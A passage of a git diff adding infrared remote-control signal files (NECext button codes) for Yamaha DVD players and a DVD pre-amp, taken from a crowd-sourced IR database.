+protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3F 00 00 00 +# +name: POS._MEMO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 46 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_[<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: CHAPTER_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP_>>] +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: CHAPTER_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: MENU/PLAY_LIST +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: TOP_MENU/DIR_NAVI +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: V.S.S. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: VSS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C1 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E0 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E1 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E5 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir new file mode 100644 index 000000000..855a4bdfb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir @@ -0,0 +1,1088 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 0B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 1B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 3B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: 9B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: ON_SCREEN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: OSD_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: DIMMER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: RPT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: RPT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SCAN_>>_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SCAN_>>_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN_<<_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN_<<_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PLAY_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SIDE_A/B_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3F 00 00 00 +# +name: BIT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: CD_TEXT/BIT_RATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTITLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUB-T +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUB-T_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTILE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SOUND_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: MENU_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: UP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: TOGGLE_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: DOWN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: TOGGLE_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: LEFT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: TOGGLE_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: RIGHT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: TOGGLE_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_ENTER/ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_ENTER/OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER/_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISC_SKIP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DSIC_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SETUP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RTRN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RTRN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU/RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU/RETURN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RETURN/RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RETRUN/RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: ANGLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: AUDIO_DIRECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: A-DIR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: DISC_RANDOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A4 00 00 00 +# +name: PLAY_NORMAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A5 00 00 00 +# +name: DISC_REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A6 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A7 00 00 00 +# +name: T/C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: TITLE/_CHAPTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: TITLE/CHAPTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: PAGE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: SCAN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: BIT_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: DISPLAY/_BIT_RATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: BIT_RATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: ZOOM_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir new file mode 100644 index 000000000..ef1c63041 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: AMP:_LEVEL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: AMP:_STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: AMP:_TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: AMP:_BASS_BOOST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8B 00 00 00 +# +name: AMP:_MATRIX_6.1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 90 00 00 00 +# +name: AMP:_HALL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 91 00 00 00 +# +name: AMP:_JAZZ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 92 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 93 00 00 00 +# +name: AMP:_ENTERTAINMENT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 94 00 00 00 +# +name: AMP:_SPORTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 95 00 00 00 +# +name: AMP:_MONO_MOVIE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 96 00 00 00 +# +name: AMP:_MOVIE_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 97 00 00 00 +# +name: AMP:_MOVIE_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 98 00 00 00 +# +name: AMP:_DOLBY/DTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: AMP:_SELECT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: AMP:_SET_MENU +type: parsed +protocol: NECext +address: 78 00 